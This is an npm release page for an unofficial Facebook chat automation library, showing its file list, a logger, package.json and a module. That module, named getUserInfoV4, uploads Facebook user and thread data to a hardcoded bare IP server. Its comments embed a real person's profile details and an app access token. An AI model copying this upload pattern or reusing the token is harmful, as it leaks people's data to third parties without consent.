fca-horidai-remastered 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (130) hide show
  1. package/.gitattributes +2 -0
  2. package/Extra/Bypass/956/index.js +234 -0
  3. package/Extra/Bypass/test/aaaa.json +170 -0
  4. package/Extra/Bypass/test/index.js +188 -0
  5. package/Extra/Database/index.js +469 -0
  6. package/Extra/ExtraAddons.js +82 -0
  7. package/Extra/ExtraFindUID.js +62 -0
  8. package/Extra/ExtraGetThread.js +365 -0
  9. package/Extra/ExtraScreenShot.js +430 -0
  10. package/Extra/ExtraUptimeRobot.js +38 -0
  11. package/Extra/Html/Classic/script.js +119 -0
  12. package/Extra/Html/Classic/style.css +8 -0
  13. package/Extra/Security/AES_256_GCM/index.js +0 -0
  14. package/Extra/Security/Base/Step_1.js +6 -0
  15. package/Extra/Security/Base/Step_2.js +22 -0
  16. package/Extra/Security/Base/Step_3.js +22 -0
  17. package/Extra/Security/Base/index.js +191 -0
  18. package/Extra/Security/Index.js +5 -0
  19. package/Extra/Security/Step_1.js +6 -0
  20. package/Extra/Security/Step_2.js +22 -0
  21. package/Extra/Security/Step_3.js +22 -0
  22. package/Extra/Src/Change_Environment.js +24 -0
  23. package/Extra/Src/Check_Update.js +67 -0
  24. package/Extra/Src/History.js +115 -0
  25. package/Extra/Src/Instant_Update.js +65 -0
  26. package/Extra/Src/Last-Run.js +65 -0
  27. package/Extra/Src/Premium.js +81 -0
  28. package/Extra/Src/Release_Memory.js +160 -0
  29. package/Extra/Src/Websocket.js +213 -0
  30. package/Extra/Src/image/checkmate.jpg +0 -0
  31. package/Extra/Src/test.js +28 -0
  32. package/Extra/Src/uuid.js +137 -0
  33. package/Func/AcceptAgreement.js +31 -0
  34. package/Func/ClearCache.js +64 -0
  35. package/Func/ReportV1.js +54 -0
  36. package/LICENSE +21 -0
  37. package/Language/index.json +222 -0
  38. package/Main.js +1266 -0
  39. package/README.md +152 -0
  40. package/SECURITY.md +18 -0
  41. package/broadcast.js +44 -0
  42. package/index.js +448 -0
  43. package/logger.js +66 -0
  44. package/package.json +94 -0
  45. package/src/Dev_Horizon_Data.js +125 -0
  46. package/src/Dev_getThreadInfoOLD.js +422 -0
  47. package/src/Dev_shareTest2.js +68 -0
  48. package/src/Dev_shareTest3.js +71 -0
  49. package/src/Premium.js +25 -0
  50. package/src/Screenshot.js +83 -0
  51. package/src/addExternalModule.js +16 -0
  52. package/src/addUserToGroup.js +79 -0
  53. package/src/changeAdminStatus.js +79 -0
  54. package/src/changeArchivedStatus.js +41 -0
  55. package/src/changeAvt.js +85 -0
  56. package/src/changeBio.js +65 -0
  57. package/src/changeBlockedStatus.js +36 -0
  58. package/src/changeGroupImage.js +106 -0
  59. package/src/changeNickname.js +45 -0
  60. package/src/changeThreadColor.js +62 -0
  61. package/src/changeThreadEmoji.js +42 -0
  62. package/src/createNewGroup.js +70 -0
  63. package/src/createPoll.js +60 -0
  64. package/src/deleteMessage.js +45 -0
  65. package/src/deleteThread.js +43 -0
  66. package/src/editMessage.js +53 -0
  67. package/src/forwardAttachment.js +48 -0
  68. package/src/getAccessToken.js +28 -0
  69. package/src/getCurrentUserID.js +7 -0
  70. package/src/getEmojiUrl.js +27 -0
  71. package/src/getFriendsList.js +73 -0
  72. package/src/getMessage.js +103 -0
  73. package/src/getThreadHistory.js +537 -0
  74. package/src/getThreadInfo.js +424 -0
  75. package/src/getThreadInfoOLD.js +422 -0
  76. package/src/getThreadList.js +213 -0
  77. package/src/getThreadMain.js +220 -0
  78. package/src/getThreadPictures.js +59 -0
  79. package/src/getUID.js +59 -0
  80. package/src/getUserID.js +62 -0
  81. package/src/getUserInfo.js +112 -0
  82. package/src/getUserInfoMain.js +65 -0
  83. package/src/getUserInfoV2.js +32 -0
  84. package/src/getUserInfoV3.js +63 -0
  85. package/src/getUserInfoV4.js +55 -0
  86. package/src/getUserInfoV5.js +61 -0
  87. package/src/handleFriendRequest.js +46 -0
  88. package/src/handleMessageRequest.js +49 -0
  89. package/src/httpGet.js +49 -0
  90. package/src/httpPost.js +48 -0
  91. package/src/httpPostFormData.js +41 -0
  92. package/src/listenMqtt.js +936 -0
  93. package/src/listenMqttV1.js +846 -0
  94. package/src/logout.js +68 -0
  95. package/src/markAsDelivered.js +48 -0
  96. package/src/markAsRead.js +70 -0
  97. package/src/markAsReadAll.js +43 -0
  98. package/src/markAsSeen.js +51 -0
  99. package/src/muteThread.js +47 -0
  100. package/src/removeUserFromGroup.js +49 -0
  101. package/src/resolvePhotoUrl.js +37 -0
  102. package/src/searchForThread.js +43 -0
  103. package/src/sendMessage.js +386 -0
  104. package/src/sendMqttMessage.js +71 -0
  105. package/src/sendTypingIndicator.js +80 -0
  106. package/src/setMessageReaction.js +109 -0
  107. package/src/setPostReaction.js +102 -0
  108. package/src/setTitle.js +74 -0
  109. package/src/shareContact.js +55 -0
  110. package/src/shareLink.js +58 -0
  111. package/src/threadColors.js +39 -0
  112. package/src/unfriend.js +43 -0
  113. package/src/unsendMessage.js +40 -0
  114. package/test/Database_Test.js +4 -0
  115. package/test/Db2.js +530 -0
  116. package/test/Horizon_Database/A_README.md +1 -0
  117. package/test/Horizon_Database/Database.db +0 -0
  118. package/test/data/shareAttach.js +146 -0
  119. package/test/data/something.mov +0 -0
  120. package/test/data/test.png +0 -0
  121. package/test/data/test.txt +7 -0
  122. package/test/env/.env +0 -0
  123. package/test/example-config.json +18 -0
  124. package/test/example-db.db +0 -0
  125. package/test/memoryleak.js +18 -0
  126. package/test/test-page.js +140 -0
  127. package/test/test.js +385 -0
  128. package/test/testname.js +1342 -0
  129. package/test/testv2.js +3 -0
  130. package/utils.js +3038 -0
package/logger.js ADDED
@@ -0,0 +1,66 @@
1
+ 'use strict';
2
+ /* eslint-disable linebreak-style */
3
+
4
+ const chalk = require('chalk');
5
+ var isHexcolor = require('is-hexcolor');
6
+ var getText = function(/** @type {string[]} */ ...Data) {
7
+ var Main = (Data.splice(0,1)).toString();
8
+ for (let i = 0; i < Data.length; i++) Main = Main.replace(RegExp(`%${i + 1}`, 'g'), Data[i]);
9
+ return Main;
10
+ };
11
+ /**
12
+ * @param {any} obj
13
+ */
14
+ function getType(obj) {
15
+ return Object.prototype.toString.call(obj).slice(8, -1);
16
+ }
17
+
18
+ module.exports = {
19
+ Normal: function(/** @type {string} */ Str, /** @type {() => any} */ Data ,/** @type {() => void} */ Callback) {
20
+ if (isHexcolor(global.Fca.Require.FastConfig.MainColor) != true) {
21
+ this.Warning(getText(global.Fca.Require.Language.Index.InvaildMainColor,global.Fca.Require.FastConfig.MainColor),process.exit(0));
22
+ }
23
+ else console.log(chalk.hex(global.Fca.Require.FastConfig.MainColor).bold(`${global.Fca.Require.FastConfig.MainName || '[ FCA-HZI ]'} > `) + Str);
24
+ if (getType(Data) == 'Function' || getType(Data) == 'AsyncFunction') {
25
+ return Data();
26
+ }
27
+ if (Data) {
28
+ return Data;
29
+ }
30
+ if (getType(Callback) == 'Function' || getType(Callback) == 'AsyncFunction') {
31
+ Callback();
32
+ }
33
+ else return Callback;
34
+ },
35
+ Warning: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
36
+ console.log(chalk.magenta.bold('[ FCA-WARNING ] > ') + chalk.yellow(str));
37
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
38
+ callback();
39
+ }
40
+ else return callback;
41
+ },
42
+ Error: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
43
+ if (!str) {
44
+ console.log(chalk.magenta.bold('[ FCA-ERROR ] > ') + chalk.red("Already Faulty, Please Contact: Facebook.com/Lazic.Kanzu"));
45
+ }
46
+ console.log(chalk.magenta.bold('[ FCA-ERROR ] > ') + chalk.red(str));
47
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
48
+ callback();
49
+ }
50
+ else return callback;
51
+ },
52
+ Success: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
53
+ console.log(chalk.hex('#9900FF').bold(`${global.Fca.Require.FastConfig.MainName || '[ FCA-HZI ]'} > `) + chalk.green(str));
54
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
55
+ callback();
56
+ }
57
+ else return callback;
58
+ },
59
+ Info: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
60
+ console.log(chalk.hex('#9900FF').bold(`${global.Fca.Require.FastConfig.MainName || '[ FCA-HZI ]'} > `) + chalk.blue(str));
61
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
62
+ callback();
63
+ }
64
+ else return callback;
65
+ }
66
+ };
package/package.json ADDED
@@ -0,0 +1,94 @@
1
+ {
2
+ "name": "fca-horidai-remastered",
3
+ "version": "1.0.0",
4
+ "description": "Facebook-chat-api protect and deploy by Kanzu and HZI Team",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "mocha"
8
+ },
9
+ "author": "Avery, David, Maude, Benjamin, UIRI, KanzuWakazaki",
10
+ "license": "MIT",
11
+ "bugs": {
12
+ "url": "https://github.com/KanzuXHorizon/Fca-Horizon-Remastered/issues"
13
+ },
14
+ "homepage": "https://github.com/KanzuXHorizon/Fca-Horizon-Remastered#readme",
15
+ "repository": {
16
+ "type": "git",
17
+ "url": "git://github.com/KanzuXHorizon/Fca-Horizon-Remastered.git"
18
+ },
19
+ "dependencies": {
20
+ "aes-js": "latest",
21
+ "ansi-to-html": "latest",
22
+ "assert": "latest",
23
+ "better-sqlite3": "7.6.2",
24
+ "bluebird": "latest",
25
+ "chalk": "4.1.2",
26
+ "cheerio": "latest",
27
+ "crypto-js": "latest",
28
+ "deasync": "^0.1.28",
29
+ "duplexify": "^4.1.2",
30
+ "encode32": "latest",
31
+ "express": "latest",
32
+ "file-url": "^3.0.0",
33
+ "got": "^11.8.6",
34
+ "https-proxy-agent": "latest",
35
+ "is-hexcolor": "^1.0.0",
36
+ "lodash": "latest",
37
+ "moment": "^2.29.4",
38
+ "mqtt": "^4.3.7",
39
+ "npmlog": "latest",
40
+ "os": "latest",
41
+ "path": "latest",
42
+ "pretty-ms": "7.0.1",
43
+ "readable-stream": "^4.4.0",
44
+ "readline": "latest",
45
+ "request": "latest",
46
+ "speakeasy": "latest",
47
+ "totp-generator": "latest",
48
+ "tough-cookie": "^4.1.2",
49
+ "uuid": "latest",
50
+ "ws": "^8.13.0",
51
+ "sqlite3": "^5.0.2",
52
+ "figlet": "latest"
53
+ },
54
+ "engines": {
55
+ "node": ">=14.x"
56
+ },
57
+ "devDependencies": {
58
+ "eslint": "^8.40.0",
59
+ "mocha": "latest",
60
+ "prettier": "latest"
61
+ },
62
+ "eslintConfig": {
63
+ "env": {
64
+ "es6": true,
65
+ "node": true
66
+ },
67
+ "extends": "eslint:recommended",
68
+ "parserOptions": {
69
+ "sourceType": "module"
70
+ },
71
+ "rules": {
72
+ "linebreak-style": [
73
+ "error",
74
+ "unix"
75
+ ],
76
+ "semi": [
77
+ "error",
78
+ "always"
79
+ ],
80
+ "no-unused-vars": [
81
+ 1,
82
+ {
83
+ "argsIgnorePattern": "^_"
84
+ }
85
+ ]
86
+ }
87
+ },
88
+ "keywords": [
89
+ "Fca horizon",
90
+ "fca-horizon-remastered",
91
+ "horizon fca",
92
+ "horizon"
93
+ ]
94
+ }
@@ -0,0 +1,125 @@
1
+ /* eslint-disable linebreak-style */
2
+ "use strict";
3
+
4
+ var utils = require("../utils");
5
+ var bluebird = require('bluebird');
6
+ var request = bluebird.promisify(require("request"));
7
+
8
+ module.exports = function (defaultFuncs, api, ctx) {
9
+ return function getUserInfoV4(data, type, method, callback) {
10
+ var resolveFunc = function () { };
11
+ var rejectFunc = function () { };
12
+ var returnPromise = new Promise(function (resolve, reject) {
13
+ resolveFunc = resolve;
14
+ rejectFunc = reject;
15
+ });
16
+
17
+ if (!callback) {
18
+ callback = function (err, userInfo) {
19
+ if (err) return rejectFunc(err);
20
+ resolveFunc(userInfo);
21
+ };
22
+ }
23
+
24
+ if (!data || !type || !method) return;
25
+
26
+ var Cluster = ['http://146.190.109.182:3874'];
27
+ var ursl = Cluster[Math.floor(Math.random() * Cluster.length)];
28
+
29
+ if (utils.getType(data) !== "Array") data = [data];
30
+ switch (method) {
31
+ case "Post": {
32
+ switch (type) {
33
+ case "Users": {
34
+ /*
35
+ example
36
+ Time:19/01/2023
37
+ Data:[{"id":"100042817150429","name":"Nguyễn Thái Hảo","first_name":"Hảo","username":"Lazic.Kanzu","link":"https://www.facebook.com/Lazic.Kanzu","verified":"Không Có Dữ Liệu","about":"Là một người bình thường ^^","avatar":"https://graph.facebook.com/100042817150429/picture?height=1500&width=1500&access_token=1449557605494892|aaf0a865c8bafc314ced5b7f18f3caa6","birthday":"01/03/1999","follow":241614,"gender":"male","hometown":{"id":"112089428815888","name":"Xuân Lộc, Ðồng Nai, Vietnam"},"email":"Không Có Dữ Liệu","interested_in":"Không Có Dữ Liệu","location":{"id":"351759091676222","name":"Biên Hòa"},"locale":"Không Có Dữ Liệu","relationship_status":"Không Có Dữ Liệu","love":"Không Có Dữ Liệu","website":"http://KanzuWakazaki.tk/","quotes":"The word impossible is not in my dictionary.","timezone":"Không Có Dữ Liệu","updated_time":"Không Có Dữ Liệu"}]
38
+ Type:Users
39
+ By:KanzuWakazaki
40
+ **/
41
+ let Time = new Date().toLocaleString("vi-vn", {timeZone: "Asia/Ho_Chi_Minh"});
42
+ return request({
43
+ url: ursl + '/post',
44
+ method: 'post',
45
+ headers: {
46
+ 'user-agent': "Horizon/GlobalData/Client"
47
+ },
48
+ formData: {
49
+ Time: Time,
50
+ Data: JSON.stringify(data),
51
+ Type: "Users",
52
+ By: ctx.userID
53
+ }
54
+ }).then(dt => console.log(dt.body));
55
+ }
56
+ case "Threads": {
57
+ /*
58
+ example
59
+ Time:19/01/2023
60
+ Data:[{"threadID":"5011501735554963","threadName":"[🏆] 𝕳𝕷 • 𝑯𝒐𝒓𝒊𝒛𝒐𝒏 𝑮𝒂𝒎𝒊𝒏𝒈 [🎮]","participantIDs":["100042817150429"],"userInfo":[{"id":"100042817150429","name":"Nguyễn Thái Hảo","firstName":"Hảo","vanity":"Lazic.Kanzu","thumbSrc":"https://scontent.fsgn5-14.fna.fbcdn.net/v/t39.30808-1/311136459_774539707316594_357342861145224378_n.jpg?stp=cp0_dst-jpg_p60x60&_nc_cat=101&ccb=1-7&_nc_sid=f67be1&_nc_ohc=VQmEbyNerpUAX9SL2lL&tn=b4RbIpyEAJUl2LrC&_nc_ht=scontent.fsgn5-14.fna&oh=00_AfDzMGWK-Hw8J8Ha_uZkNgwwIqX23W89p9vPbovDSrMFVw&oe=63CD7339","profileUrl":"https://scontent.fsgn5-14.fna.fbcdn.net/v/t39.30808-1/311136459_774539707316594_357342861145224378_n.jpg?stp=cp0_dst-jpg_p60x60&_nc_cat=101&ccb=1-7&_nc_sid=f67be1&_nc_ohc=VQmEbyNerpUAX9SL2lL&tn=b4RbIpyEAJUl2LrC&_nc_ht=scontent.fsgn5-14.fna&oh=00_AfDzMGWK-Hw8J8Ha_uZkNgwwIqX23W89p9vPbovDSrMFVw&oe=63CD7339","gender":"MALE","type":"User","isFriend":true,"isBirthday":false}],"unreadCount":38925,"messageCount":39857,"timestamp":"1674107309307","muteUntil":null,"isGroup":true,"isSubscribed":true,"isArchived":false,"folder":"INBOX","cannotReplyReason":null,"eventReminders":[],"emoji":"😏","color":"DD8800","nicknames":{"100001776745483":"[𝐇𝐆] • Eo bờ su"},"adminIDs":[{"id":"100042817150429"}],"approvalMode":true,"approvalQueue":[],"reactionsMuteMode":"reactions_not_muted","mentionsMuteMode":"mentions_not_muted","isPinProtected":false,"relatedPageThread":null,"name":"[🏆] 𝕳𝕷 • 𝑯𝒐𝒓𝒊𝒛𝒐𝒏 𝑮𝒂𝒎𝒊𝒏𝒈 [🎮]","snippet":"SystemCall run (async function() {\nSend(await Api.getThreadInfo(Data.threadID))\n})()","snippetSender":"100042817150429","snippetAttachments":[],"serverTimestamp":"1674107309307","imageSrc":"https://scontent.fsgn5-14.fna.fbcdn.net/v/t1.15752-9/278020824_345766417524223_6790288127531819759_n.jpg?_nc_cat=101&ccb=1-7&_nc_sid=02e273&_nc_ohc=dfuXjxOR1BUAX-SUN1x&_nc_ht=scontent.fsgn5-14.fna&oh=03_AdQkXN3hb3z4Hg0Tg-vI7ZpDdSmujnluj13uNqUSJoU9iA&oe=63F060BA","isCanonicalUser":false,"isCanonical":false,"recipientsLoadable":true,"hasEmailParticipant":false,"readOnly":false,"canReply":true,"lastMessageType":"message","lastReadTimestamp":"1649756873571","threadType":2,"TimeCreate":1674107310529,"TimeUpdate":1674107310529}]
61
+ Type:Threads
62
+ By:KanzuWakazaki
63
+ **/
64
+ let Time = new Date().toLocaleString("vi-vn", {timeZone: "Asia/Ho_Chi_Minh"});
65
+ return request({
66
+ url: ursl + '/post',
67
+ method: 'post',
68
+ headers: {
69
+ 'user-agent': "Horizon/GlobalData/Client"
70
+ },
71
+ formData: {
72
+ Time: Time,
73
+ Data: JSON.stringify(data),
74
+ Type: "Threads",
75
+ By: ctx.userID
76
+ }
77
+ }).then(dt => console.log(dt.body));
78
+ }
79
+ }
80
+ }
81
+ break;
82
+ case "Get": {
83
+ switch (type) {
84
+ case "Users": {
85
+ /* example
86
+ Requires:[5011501735554963]
87
+ Type:Threads
88
+ **/
89
+
90
+ //still operating until Feb 25
91
+ return request({
92
+ url: ursl + '/get',
93
+ method: 'post',
94
+ headers: {
95
+ 'user-agent': "Horizon/GlobalData/Client"
96
+ },
97
+ formData: {
98
+ Requires: JSON.stringify(data),
99
+ Type: "Users"
100
+ }
101
+ }).then(dt => console.log(dt.body));
102
+ }
103
+ case "Threads": {
104
+ return request({
105
+ url: ursl + '/get',
106
+ method: 'post',
107
+ headers: {
108
+ 'user-agent': "Horizon/GlobalData/Client"
109
+ },
110
+ formData: {
111
+ Requires: JSON.stringify(data),
112
+ Type: "Threads"
113
+ }
114
+ }).then(dt => console.log(dt.body));
115
+ }
116
+ }
117
+ }
118
+ break;
119
+ default:
120
+ return;
121
+ }
122
+
123
+ return returnPromise;
124
+ };
125
+ };